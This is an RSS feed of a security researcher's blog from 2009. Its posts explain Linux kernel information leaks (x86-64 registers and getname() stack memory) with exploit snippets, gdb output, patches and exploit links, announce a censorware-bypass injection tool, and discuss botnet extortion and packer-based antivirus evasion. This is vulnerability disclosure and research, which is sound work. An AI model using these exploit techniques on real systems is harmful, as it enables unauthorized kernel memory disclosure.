<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>jon.oberheide.org</title>
	<atom:link href="http://jon.oberheide.org/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://jon.oberheide.org/blog</link>
	<description></description>
	<lastBuildDate>Sun, 04 Oct 2009 23:58:07 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Linux Kernel x86-64 Register Leak</title>
		<link>http://jon.oberheide.org/blog/2009/10/04/linux-kernel-x86-64-register-leak/</link>
		<comments>http://jon.oberheide.org/blog/2009/10/04/linux-kernel-x86-64-register-leak/#comments</comments>
		<pubDate>Sun, 04 Oct 2009 22:49:02 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
				<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/?p=465</guid>
		<description><![CDATA[A recent vulnerability in the Linux kernel (versions &#60;= 2.6.32-rc1) allows the leakage of certain register contents.   The x86-64 registers r8-r11 may be leaked to 32-bit unprivileged userspace applications that switch themselves into 64-bit mode.
Introduction
In order to understand this vulnerability, we first need to talk a bit about the x86-64 architecture (aka amd64).  One [...]]]></description>
			<content:encoded><![CDATA[<p>A recent vulnerability in the Linux kernel (versions &lt;= 2.6.32-rc1) allows the leakage of certain register contents.   The x86-64 registers r8-r11 may be leaked to 32-bit unprivileged userspace applications that switch themselves into 64-bit mode.</p>
<h2><span id="more-465"></span>Introduction</h2>
<p>In order to understand this vulnerability, we first need to talk a bit about the <a href="http://en.wikipedia.org/wiki/X86-64">x86-64 architecture</a> (aka amd64).  One of the key design decisions of x86-64, which fueled its adoption over IA-64, is its backward compatibility with 32-bit code.  In x86-64 long mode, there are two sub-modes controlled by the code segment descriptor: compatibility mode and 64-bit mode.  Therefore, our 64-bit operating system can execute both 32-bit and 64-bit binaries without issue.  Of course, if we&#8217;re executing a 32-bit binary, we can access our traditional 32-bit architecture registers and not any of the additional register file added by x86-64.</p>
<p>However, it is possible to mix both 32-bit and 64-bit code within a single executable.  A 32-bit process can switch into 64-bit mode and jump right to x86-64 machine code.  In addition, a 64-bit process is capable of invoking 32-bit syscalls.  This type of switching can often be abused to bypass syscall filtering mechanisms as Chris Evans <a href="http://scary.beasts.org/security/CESA-2009-001.html">discovered</a> (since syscall numbers differ between 32-bit and 64-bit).  In this case, we will switch between 32-bit and 64-bit code in order to exploit an information leak in the kernel.</p>
<h2>The Vulnerability</h2>
<p>The underlying issue that causes this vulnerability is a lack of zeroing out several of the x86-64 registers upon returning from a syscall.  A 32-bit application may be able to switch to 64-bit mode and access the r8, r9, r10, and r11 registers to leak their previous values.  This issue was <a href="http://lkml.org/lkml/2009/10/1/164">discovered</a> by Jan Beulich and patched on October 1st.  The fix is obviously to zero out these registers to avoid leaking any information to userspace.</p>
<p>A snippet from the patch demonstrating the fix:</p>
<div class="hlcode">
<div class="syntax">
<pre><span class="gh">diff --git a/arch/x86/ia32/ia32entry.S b/arch/x86/ia32/ia32entry.S</span>
<span class="gd">--- a/arch/x86/ia32/ia32entry.S</span>
<span class="gi">+++ b/arch/x86/ia32/ia32entry.S</span>
<span class="gu">@@ -172,6 +172,10 @@ sysexit_from_sys_call:</span>
        movl    RIP-R11(%rsp),%edx              /* User %eip */
        CFI_REGISTER rip,rdx
        RESTORE_ARGS 1,24,1,1,1,1
<span class="gi">+       xorq    %r8,%r8</span>
<span class="gi">+       xorq    %r9,%r9</span>
<span class="gi">+       xorq    %r10,%r10</span>
<span class="gi">+       xorq    %r11,%r11</span>
        popfq
        CFI_ADJUST_CFA_OFFSET -8
        /*CFI_RESTORE rflags*/</pre>
</div>
</div>
<h2>The Exploit</h2>
<p>As we previously mentioned, our 32-bit userspace application needs to switch into 64-bit mode in order to access the x86-64 registers and expose the leaked information. To mix our 32-bit and 64-bit code, we compile our binary with -m32 but use gcc&#8217;s inline asm to mix in the necessary 64-bit code without conflict.  In order to switch to 64-bit mode, we simply need to perform a ljmp/lcall with the USER_CS code segment (0&#215;33 on Linux):</p>
<pre>.code32
ljmp $0x33, $1f
.code64
1:
/* 64-bit code here */
xorq %rax, %rax
...</pre>
<p>For each of the 64-bit registers r8, r9, r10, and r11, we simply cram the 64-bits into two 32-bit GPRs.  For example, we throw the upper and lower 32-bits of r8 into rax and rcx respectively (later to be retrieved through eax and ecx):</p>
<pre>movq %r8, %rcx
shr $32, %r8
movq %r8, %rax</pre>
<p>Finally, to retrieve the leaked values, we jmp to an invalid address (0xdeadbeef) to cause a SIGSEGV and then use &#8216;info regs&#8217; in gdb to inspect the register values.</p>
<p>The full exploit is available <a href="http://jon.oberheide.org/files/x86_64-reg-leak.c">here</a>.  Example output:</p>
<pre>$ gcc -m32 x86_64-reg-leak.c -o x86_64-reg-leak
$ gdb ./x86_64-reg-leak
GNU gdb 6.8-debian
...
(gdb) run
[+] Switching to x86_64 long mode via far jmp...
...
Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
(gdb) info reg
eax            0xffff8800       -30720        &lt;-- r8 upper
ecx            0xa5cc6000       -1513332736   &lt;-- r8 lower
edx            0x0      0                     &lt;-- r9 upper
ebx            0x1      1                     &lt;-- r9 lower
esp            0xffff8800       0xffff8800    &lt;-- r10 upper
ebp            0xa5cc6000       0xa5cc6000    &lt;-- r10 lower
esi            0x0      0                     &lt;-- r11 upper
edi            0xffffffff       -1            &lt;-- r11 lower
...</pre>
<p>spender also wrote an exploit simultaneously which is available <a href="http://grsecurity.net/~spender/64bit_regleak.c">here</a>.  It will loop and call a bunch of random syscalls and printf the leaked data so you don&#8217;t have to use gdb.</p>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2009/10/04/linux-kernel-x86-64-register-leak/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Disabling Green Dam with Dam Burst</title>
		<link>http://jon.oberheide.org/blog/2009/09/28/disabling-green-dam-with-dam-burst/</link>
		<comments>http://jon.oberheide.org/blog/2009/09/28/disabling-green-dam-with-dam-burst/#comments</comments>
		<pubDate>Mon, 28 Sep 2009 08:22:27 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
				<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/?p=302</guid>
		<description><![CDATA[Dam Burst is a simple utility that allows an unprivileged user to disable the censorship functionality of the Green Dam Youth Escort software.


Dam Burst operates by injecting code into a running application and removing the Green Dam hooks that enable it to monitor and block user activity, effectively restoring the running application to its original [...]]]></description>
			<content:encoded><![CDATA[<p>Dam Burst is a simple utility that allows an unprivileged user to disable the censorship functionality of the <a href="http://en.wikipedia.org/wiki/Green_Dam_Youth_Escort">Green Dam Youth Escort</a> software.</p>
<p><span id="more-302"></span></p>
<p style="text-align: center;"><a style="text-decoration: none; border: 0px" href="http://jon.oberheide.org/damburst/"><img class="aligncenter" title="damburst" src="http://jon.oberheide.org/damburst/images/small-logo.png" alt="" width="500" height="96" /></a></p>
<p>Dam Burst operates by injecting code into a running application and removing the Green Dam hooks that enable it to monitor and block user activity, effectively restoring the running application to its original uncensored state.</p>
<p>Unlike other tools that disable or uninstall the Green Dam software, Dam Burst does not require administrative privileges.  Since Dam Burst can be run as an unprivileged user to disable the Green Dam censorware in currently running applications, it is very effective in situations where the user is restricted from obtaining administrator privileges and may wish to avoid censorship (eg. public/internet cafe computers that the user may not own).</p>
<p>As a pleasant side effect, disabling the Green Dam components within a running process actually increases the security of the end host as the vulnerable code paths within the Green Dam software are no longer <a href="http://jon.oberheide.org/damburst/images/greendam-heapspray.png">exploitable</a> by an attacker.</p>
<h2>Download and Details</h2>
<p>The Dam Burst download and technical details on how it operates are available here:</p>
<p><a href="http://jon.oberheide.org/damburst/">http://jon.oberheide.org/damburst/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2009/09/28/disabling-green-dam-with-dam-burst/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hostage Taking Botnets</title>
		<link>http://jon.oberheide.org/blog/2009/09/11/hostage-taking-botnets/</link>
		<comments>http://jon.oberheide.org/blog/2009/09/11/hostage-taking-botnets/#comments</comments>
		<pubDate>Fri, 11 Sep 2009 07:44:37 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
				<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/?p=416</guid>
		<description><![CDATA[What happens when a botnet operator decides to hold infected machines hostage and announces demands?  What organization is in charge of cyber-related hostage situations? What are the trade-offs of giving in to the demands?


Hostage-Related Cybercrime
We frequently see cybercriminals taking a page from traditional crime and adapting to their specific environment.  In fact, we&#8217;ve seen hostage-related [...]]]></description>
			<content:encoded><![CDATA[<p>What happens when a botnet operator decides to hold infected machines hostage and announces demands?  What organization is in charge of cyber-related hostage situations? What are the trade-offs of giving in to the demands?</p>
<p><span id="more-416"></span></p>
<h2 style="text-align: center;"><img class="aligncenter size-full wp-image-437" title="botnet-ransom" src="http://jon.oberheide.org/blog/wp-content/uploads/2009/09/botnet-ransom.png" alt="botnet-ransom" width="560" height="213" /></h2>
<h2>Hostage-Related Cybercrime</h2>
<p>We frequently see cybercriminals taking a page from traditional crime and adapting to their specific environment.  In fact, we&#8217;ve seen hostage-related scenarios adapted to cybercrime in many cases.  For example:</p>
<p><strong>Ransomware:</strong> Ransomware will encrypt a user&#8217;s documents/data and demand a payment to decrypt the data.  This technique is most successful when the ransomware software is spread across large numbers of individuals, each requiring a reasonably small payment.</p>
<p><strong>Data Theft Extortion: </strong>Similar to ransomware, corporations may be extorted into large payments in order to prevent the release of sensitive data stolen by an attacker.   This attack differs from ransomware since it is not denying access to the entity&#8217;s data, but instead threatening the release or sale of the data which will undoubtedly cause great financial harm to the entity.</p>
<p><strong>DoS Extortion:</strong> Instead of targeting data, an attacker may instead threaten the availability of a service.  For example, an attacker may demand payment from a utility company threatening to take down electrical service for their customers (in fact, Jason Larsen of IOActive mentioned that 100% of the SCADA extortion attempts that he has experienced have paid out the extortion demand).</p>
<h2>Hostage Taking Botnets</h2>
<p>While all of these existing cyber scenarios share similarities with traditional hostage-taking and ransom situations, none of them precisely mirror the motivations and characteristics of the involved parties in a traditional hostage situation.  Traditional hostage situations often involve the capture of a large group of innocent people under the threat of harm in order to coerce the acceptance of demands.</p>
<p>Now where in the security world do we have large groups of random captured entities?  Why, botnets, of course!  Why would a botnet want to hold its own infected machines hostage?  As an example, let&#8217;s take the Conficker botnet, which was estimated by multiple groups to be between 4-5 million infected hosts.  Conficker received a significant amount of attention, resulting in the Conficker Working Group and cooperation with TLD operators in attempt to blackhole Conficker C&amp;C through it&#8217;s DGA.  Now imagine if the Conficker authors had released the following threat through their malware distribution network:</p>
<p><em>&#8220;If the Conficker Working Group blackholes any of the domains generated by our DGA, we will selectively destroy all of the infected machines resident in Fortune 500 networks.&#8221;</em></p>
<p>While this is just one arbitrary example threat, one can imagine the impact it could have on the activities of the Conficker Working Group.  These types of demands by botnet operators may catch our existing approaches of dealing with cyberthreats by surprise.  Unlike traditional hostage scenarios where jurisdiction is well-defined and LEO or FBI may be in charge of response to such demands, who takes lead in the botnet hostage events where the potential victims are scattered all over the world?</p>
<p>As a comparison, let&#8217;s breakdown the attributes of a traditional and botnet hostage situation:</p>
<table class="simple" border="0">
<tbody>
<tr>
<td><strong></strong></td>
<td align="center"><strong>Traditional Hostage Scenario</strong></td>
<td align="center"><strong>Botnet Hostage Scenario</strong></td>
</tr>
<tr>
<td nowrap><strong>Hostage Taker</strong></td>
<td>Person or party</td>
<td>Botnet operator</td>
</tr>
<tr>
<td><strong>Hostages</strong></td>
<td>Innocent people, often random and unrelated to HT&#8217;s goals</td>
<td>Infected computers of random people</td>
</tr>
<tr>
<td><strong>Demands</strong></td>
<td>Money, political demands, freeing prisoners, etc</td>
<td>Unimpeded continuation of botnet operations (spam, PII theft, DoS), money, etc</td>
</tr>
<tr>
<td><strong>Threats</strong></td>
<td>Harming or killing the hostages</td>
<td>Destroying the infected machines/data</td>
</tr>
<tr>
<td><strong>Triggers</strong></td>
<td>Not complying with demands, attempting to free hostages (eg. SWAT attempting breach)</td>
<td>Attempting to block/blackhole/subvert C&amp;C, blacklisting hostage hosts on RBLs, releasing AV signatures to block infection, etc</td>
</tr>
<tr>
<td><strong>Command</strong></td>
<td>LEO, FBI, government</td>
<td>LEO/FBI/government? CERTs? ISPs? Vendors? Security working groups?</td>
</tr>
</tbody>
</table>
<h2>Questions to Think About</h2>
<p>It&#8217;s easy to see some parallels between a traditional and botnet hostage situation, but the key differences raise a lot of interesting questions.</p>
<p><strong>What&#8217;s are the trade-offs?</strong></p>
<p>Is it worth allowing a botnet to continue to their activities in order to prevent the destruction of several million end hosts?  We traditionally don&#8217;t see destructive malware as living hosts are much more valuable to the botnet operators than dead hosts but the threat of destruction can be a valuable bargaining chip.  Similar to traditional hostage situations, the actual termination of the hostages may be of small quantitative value (sorry humans/computer hostages, you&#8217;re usually not very objectively valuable ;-) compared to the impact of resulting fallout (liability, bad publicity, data loss, downtime, enraged users, etc).</p>
<p><strong>Who&#8217;s in charge?</strong></p>
<p>In a situation with infected hostage hosts spread geographically all over the world and resident in home user, enterprise, and governmental networks, who is in command of the situation and response?  Who makes decisions whether to negotiate or not?  Who has authority to prevent AV vendors from releasing signatures that might trigger the destruction of hosts?  As we&#8217;ve seen with Conficker, collaboration across a wide range of vendors and organizations is possible, but is hardly as organized as the well-defined and established chain-of-command you&#8217;d see in a law enforcement agency.</p>
<p><strong>Do we negotiate with botnet operators?</strong></p>
<p>As the US government refuses to negotiate with terrorists, is this the best approach to take with botnet operators?  Otherwise, do we risk inviting other botnets to present similar demands?</p>
<p><strong>Is this actually going to happen?</strong></p>
<p>I hope not, but it&#8217;s something interesting to think about. :-)</p>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2009/09/11/hostage-taking-botnets/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux Kernel getname() Stack Memory Disclosures</title>
		<link>http://jon.oberheide.org/blog/2009/08/29/linux-kernel-getname-stack-memory-disclosures/</link>
		<comments>http://jon.oberheide.org/blog/2009/08/29/linux-kernel-getname-stack-memory-disclosures/#comments</comments>
		<pubDate>Sun, 30 Aug 2009 01:18:52 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
				<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/?p=393</guid>
		<description><![CDATA[In this post, we&#8217;ll look at some kernel stack information disclosures in the getname() functions of several socket AFs recently discovered in the Linux kernel.

The Vulnerability
The getname() function of an address family in the kernel is used to retrieve information about a given socket.  This information, in the form of a sockaddr struct, is accessed [...]]]></description>
			<content:encoded><![CDATA[<p>In this post, we&#8217;ll look at some kernel stack information disclosures in the getname() functions of several socket AFs recently discovered in the Linux kernel.</p>
<p><span id="more-393"></span></p>
<h2>The Vulnerability</h2>
<p>The getname() function of an address family in the kernel is used to retrieve information about a given socket.  This information, in the form of a sockaddr struct, is accessed from userspace through the getsockname(2) and getpeername(2) system calls for bound and connected sockets respectively.</p>
<p>The operation of a typical getname() function is as follows: a sockaddr struct on the stack is filled in with addressing information from internal socket structures and then is memcpy()&#8217;ed into the destination sockaddr which is later copied back to userspace.  For example, the following is the getname() for the irda address family in net/irda/af_irda.c:</p>
<div class="syntax">
<pre><span class="k">static</span> <span class="kt">int</span> <span class="nf">irda_getname</span><span class="p">(</span><span class="k">struct</span> <span class="n">socket</span> <span class="o">*</span><span class="n">sock</span><span class="p">,</span> <span class="k">struct</span> <span class="n">sockaddr</span> <span class="o">*</span><span class="n">uaddr</span><span class="p">,</span> <span class="kt">int</span> <span class="o">*</span><span class="n">uaddr_len</span><span class="p">,</span> <span class="kt">int</span> <span class="n">peer</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">struct</span> <span class="n">sockaddr_irda</span> <span class="n">saddr</span><span class="p">;</span>
    <span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span> <span class="o">=</span> <span class="n">sock</span><span class="o">-&gt;</span><span class="n">sk</span><span class="p">;</span>
    <span class="k">struct</span> <span class="n">irda_sock</span> <span class="o">*</span><span class="n">self</span> <span class="o">=</span> <span class="n">irda_sk</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">peer</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_state</span> <span class="o">!=</span> <span class="n">TCP_ESTABLISHED</span><span class="p">)</span>
            <span class="k">return</span> <span class="o">-</span><span class="n">ENOTCONN</span><span class="p">;</span>

        <span class="n">saddr</span><span class="p">.</span><span class="n">sir_family</span> <span class="o">=</span> <span class="n">AF_IRDA</span><span class="p">;</span>
        <span class="n">saddr</span><span class="p">.</span><span class="n">sir_lsap_sel</span> <span class="o">=</span> <span class="n">self</span><span class="o">-&gt;</span><span class="n">dtsap_sel</span><span class="p">;</span>
        <span class="n">saddr</span><span class="p">.</span><span class="n">sir_addr</span> <span class="o">=</span> <span class="n">self</span><span class="o">-&gt;</span><span class="n">daddr</span><span class="p">;</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="n">saddr</span><span class="p">.</span><span class="n">sir_family</span> <span class="o">=</span> <span class="n">AF_IRDA</span><span class="p">;</span>
        <span class="n">saddr</span><span class="p">.</span><span class="n">sir_lsap_sel</span> <span class="o">=</span> <span class="n">self</span><span class="o">-&gt;</span><span class="n">stsap_sel</span><span class="p">;</span>
        <span class="n">saddr</span><span class="p">.</span><span class="n">sir_addr</span> <span class="o">=</span> <span class="n">self</span><span class="o">-&gt;</span><span class="n">saddr</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">IRDA_DEBUG</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"%s(), tsap_sel = %#x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">__func__</span><span class="p">,</span> <span class="n">saddr</span><span class="p">.</span><span class="n">sir_lsap_sel</span><span class="p">);</span>
    <span class="n">IRDA_DEBUG</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"%s(), addr = %08x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">__func__</span><span class="p">,</span> <span class="n">saddr</span><span class="p">.</span><span class="n">sir_addr</span><span class="p">);</span>

    <span class="cm">/* uaddr_len come to us uninitialised */</span>
    <span class="o">*</span><span class="n">uaddr_len</span> <span class="o">=</span> <span class="k">sizeof</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr_irda</span><span class="p">);</span>
    <span class="n">memcpy</span><span class="p">(</span><span class="n">uaddr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">saddr</span><span class="p">,</span> <span class="o">*</span><span class="n">uaddr_len</span><span class="p">);</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span></pre>
</div>
<p>As we see here, irda_getname() is filling in several of the members of saddr, which is a sockaddr_irda structure.  We can take a look at the definition of a sockaddr_irda structure in include/linux/irda.h:</p>
<div class="syntax">
<pre><span class="k">struct</span> <span class="n">sockaddr_irda</span> <span class="p">{</span>
    <span class="n">sa_family_t</span> <span class="n">sir_family</span><span class="p">;</span>   <span class="cm">/* AF_IRDA */</span>
    <span class="n">__u8</span>        <span class="n">sir_lsap_sel</span><span class="p">;</span> <span class="cm">/* LSAP selector */</span>
    <span class="n">__u32</span>       <span class="n">sir_addr</span><span class="p">;</span>     <span class="cm">/* Device address */</span>
    <span class="kt">char</span>        <span class="n">sir_name</span><span class="p">[</span><span class="mi">25</span><span class="p">];</span> <span class="cm">/* Usually &lt;service&gt;:IrDA:TinyTP */</span>
<span class="p">};</span></pre>
</div>
<p>The total size of this structure is 36 bytes, including a large 25-byte sir_name member.  Notice that the sir_name member is not memset()&#8217;ed or initialized in the above irda_getname() function.  This means that our final memcpy() will be copying uninitialized data from the stack which will then be returned to userspace, leaking potentially sensitive information.  In addition to the 25-byte sir_name, there is also one byte of padding inserted by the compiler for alignment purposes between sir_lsap_sel and sir_addr and 3 bytes of padding after sir_name.  This results in a total of 29 bytes of uninitialized kernel stack memory being leaked to userspace.</p>
<p>As it turns out, this issue was not limited to only irda, but also the can, appletalk, rose, netrom, econet, and llc address families.  These vulnerabilities affect versions of the Linux 2.6 kernel before 2.6.31-rc7.  While these socket families aren&#8217;t the most common, they ship as modules in common distributions that are loaded automatically via request_module(&#8221;net-pf-X&#8221;) when a socket is created.  Yet another reason why you should trim unused and potentially vulnerable code from your kernel configuration or use something like grsecurity&#8217;s MODHARDEN to reduce your attack surface.</p>
<h2>The Exploit</h2>
<p>Exploiting this memory disclosure vulnerability is straightforward and can be performed by an unprivileged user.  For irda, we just need to create an AF_IRDA socket and then call getsockname(2) on it.  Exploiting some of the other vulnerable address families may require binding or connecting the socket in order to satisfy certain conditions in the getname() function.  For irda, the required code is trivial:</p>
<div class="syntax">
<pre><span class="k">struct</span> <span class="n">sockaddr_irda</span> <span class="n">saddr</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">sock</span><span class="p">,</span> <span class="n">len</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">saddr</span><span class="p">);</span>
<span class="n">sock</span> <span class="o">=</span> <span class="n">socket</span><span class="p">(</span><span class="n">AF_IRDA</span><span class="p">,</span> <span class="n">SOCK_DGRAM</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">getsockname</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span> <span class="o">*</span><span class="p">)</span> <span class="o">&amp;</span><span class="n">saddr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">len</span><span class="p">);</span></pre>
</div>
<p>The saddr structure will now contain 29-bytes of uninitialized kernel stack memory (byte 4 and bytes 9-36).</p>
<p>A full example exploit for this issue is available here: <a href="http://jon.oberheide.org/files/cve-2009-3002.c">http://jon.oberheide.org/files/cve-2009-3002.c</a></p>
<h2>The Fix</h2>
<p>The first set of fixes rolled into davem&#8217;s <a href="http://git.kernel.org/?p=linux/kernel/git/davem/net-2.6.git;a=summary">net-2.6</a> git repo via Eric Dumazet (and somehow slipped under my radar) in early August.  The patches covered a number of address families including <a href="http://git.kernel.org/?p=linux/kernel/git/davem/net-2.6.git;a=blobdiff;f=net/can/raw.c;h=db3152df7d2b627fd2484c14734e9a084d3e93a0;hp=f4cc44548bdaa35a2b6947b8c7ef89affe8ac615;hb=e84b90ae5eb3c112d1f208964df1d8156a538289;hpb=b79a79471bd31d737c939a6ddc347417047b4320">can</a>, <a href="http://git.kernel.org/?p=linux/kernel/git/davem/net-2.6.git;a=commit;h=09384dfc76e526c3993c09c42e016372dc9dd22c">irda</a>, <a href="http://git.kernel.org/?p=linux/kernel/git/davem/net-2.6.git;a=commit;h=3d392475c873c10c10d6d96b94d092a34ebd4791">appletalk</a>, <a href="http://git.kernel.org/?p=linux/kernel/git/davem/net-2.6.git;a=blobdiff;f=net/rose/af_rose.c;h=e5f478ca3d61574e01bc74bad58cfdc910a33b4a;hp=f0a76f6bca711a064f4611a592c82eeca9968f0f;hb=17ac2e9c58b69a1e25460a568eae1b0dc0188c25;hpb=b4adbb4ddf63091f48668e7ff1b9b0f6f84d4b40">rose</a>, <a href="http://git.kernel.org/?p=linux/kernel/git/davem/net-2.6.git;a=blobdiff;f=net/netrom/af_netrom.c;h=ce1a34b99c2328f16648d5cf96cb8ff5edc25ed6;hp=ce51ce012cdab48e4c0bbfd99c3053a0bfcaa636;hb=f6b97b29513950bfbf621a83d85b6f86b39ec8db;hpb=80922bbb12a105f858a8f0abb879cb4302d0ecaa">netrom</a>, and <a href="http://git.kernel.org/?p=linux/kernel/git/davem/net-2.6.git;a=blobdiff;f=net/econet/af_econet.c;h=f0bbc57926cdbbb8d70b3e2e59cbdd4f090800f3;hp=2e1f836d424064ffe346321e053c136f86682545;hb=80922bbb12a105f858a8f0abb879cb4302d0ecaa;hpb=17ac2e9c58b69a1e25460a568eae1b0dc0188c25">econet</a>, the worst of the bunch being the irda example we covered here.  Another similar patch for the <a href="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=28e9fc592cb8c7a43e4d3147b38be6032a0e81bc">llc</a> address family rolled in on August 24th which is what alerted me to the previous issues.</p>
<p>The fix is obvious: memset() the sockaddr structure at the beginning of the getname() function so that uninitialized memory will be not be leaked to userspace.  For completeness, here&#8217;s the patch for the irda example:</p>
<div class="syntax">
<pre><span class="gd">--- a/net/irda/af_irda.c</span>
<span class="gi">+++ b/net/irda/af_irda.c</span>
<span class="gu">@@ -714,6 +714,7 @@ static int irda_getname(struct socket *sock, struct sockaddr *uaddr,</span>
        struct sock *sk = sock-&gt;sk;
        struct irda_sock *self = irda_sk(sk);

<span class="gi">+       memset(&amp;saddr, 0, sizeof(saddr));</span>
        if (peer) {
                if (sk-&gt;sk_state != TCP_ESTABLISHED)
                        return -ENOTCONN;</pre>
</div>
<h2>References</h2>
<ul>
<li>NVD/CVE:  <a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3001">CVE-2009-3001</a></li>
<li>NVD/CVE:  <a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3002">CVE-2009-3002</a></li>
<li>AF_IRDA exploit: <a href="http://jon.oberheide.org/files/cve-2009-3002.c">http://jon.oberheide.org/files/cve-2009-3002.c</a></li>
<li>AF_LLC exploit: <a href="http://jon.oberheide.org/files/cve-2009-3001.c">http://jon.oberheide.org/files/cve-2009-3001.c</a></li>
<li>Clement Lecigne&#8217;s AF_APPLETALK exploit: <a href="http://milw0rm.com/exploits/9521">http://milw0rm.com/exploits/9521</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://jon.oberheide.org/blog/2009/08/29/linux-kernel-getname-stack-memory-disclosures/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PolyPack at USENIX WOOT &#8216;09</title>
		<link>http://jon.oberheide.org/blog/2009/08/10/polypack-at-usenix-woot-09/</link>
		<comments>http://jon.oberheide.org/blog/2009/08/10/polypack-at-usenix-woot-09/#comments</comments>
		<pubDate>Tue, 11 Aug 2009 01:37:47 +0000</pubDate>
		<dc:creator>Jon Oberheide</dc:creator>
				<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jon.oberheide.org/blog/?p=289</guid>
		<description><![CDATA[We just presented our PolyPack research today at the USENIX Workshop on Offensive Technologies (WOOT &#8216;09) in Montreal, Canada.  Links to the paper and presentation materials are after the jump.


Paper: http://jon.oberheide.org/files/woot09-polypack.pdf
Presentation: http://jon.oberheide.org/files/woot09-polypack-pres.pdf
From the PolyPack website:
&#8220;PolyPack is a research project at the     University of Michigan aimed at     understanding [...]]]></description>
			<content:encoded><![CDATA[<p>We just presented our PolyPack research today at the USENIX Workshop on Offensive Technologies (WOOT &#8216;09) in Montreal, Canada.  Links to the paper and presentation materials are after the jump.</p>
<p><span id="more-289"></span></p>
<p style="text-align: center;"><img class="size-full wp-image-439 aligncenter" title="woot09" src="http://jon.oberheide.org/blog/wp-content/uploads/2009/08/woot09.png" alt="woot09" width="575" height="92" /></p>
<p>Paper: <a href="http://jon.oberheide.org/files/woot09-polypack.pdf">http://jon.oberheide.org/files/woot09-polypack.pdf</a><br />
Presentation: <a href="http://jon.oberheide.org/files/woot09-polypack-pres.pdf">http://jon.oberheide.org/files/woot09-polypack-pres.pdf</a></p>
<p>From the <a href="http://polypack.eecs.umich.edu">PolyPack website</a>:</p>
<p style="padding-left: 30px;">&#8220;PolyPack is a research project at the     <a href="http://www.eecs.umich.edu/fjgroup/">University of Michigan</a> aimed at     understanding the impact of malware packers on modern antivirus products.  PolyPack     highlights the failure of signature-based antivirus against common, widely     available packers, investigates the role that diversity plays in the capabilities     of both the packers and antivirus engines, and demonstrates the ease and efficacy     with which an attacker could deploy an online packing service for nefarious purposes     in a deployment model known as crimeware-as-a-service (CaaS).</p>
<p style="padding-left: 30px;">The PolyPack web service uses an array of packers and antivirus engines to evaluate     the effect that each packer has on the detection capabilities of the antivirus engines.     Our current implementation employs 10 of the most common packers observed in the wild     and 10 popular antivirus engines. A submitted binary is packed by each of the 10 packers     and then analyzed by each of the 10 antivirus engines.  The details of a <a href="http://polypack.eecs.umich.edu/results?sha1=94db8c5ea448108d775bb7785ec80b2e506ffa99">few</a> <a href="http://polypack.eecs.umich.edu/results?sha1=142a8bf1a0dbada04c0f48a5c79f45278ae73bfd">example</a> <a href="http://polypack.eecs.umich.edu/results?sha1=b765a60880e870cb2b3ccfa4460a1a294a61ddfb">results</a> are available to the public.&#8221;</p>
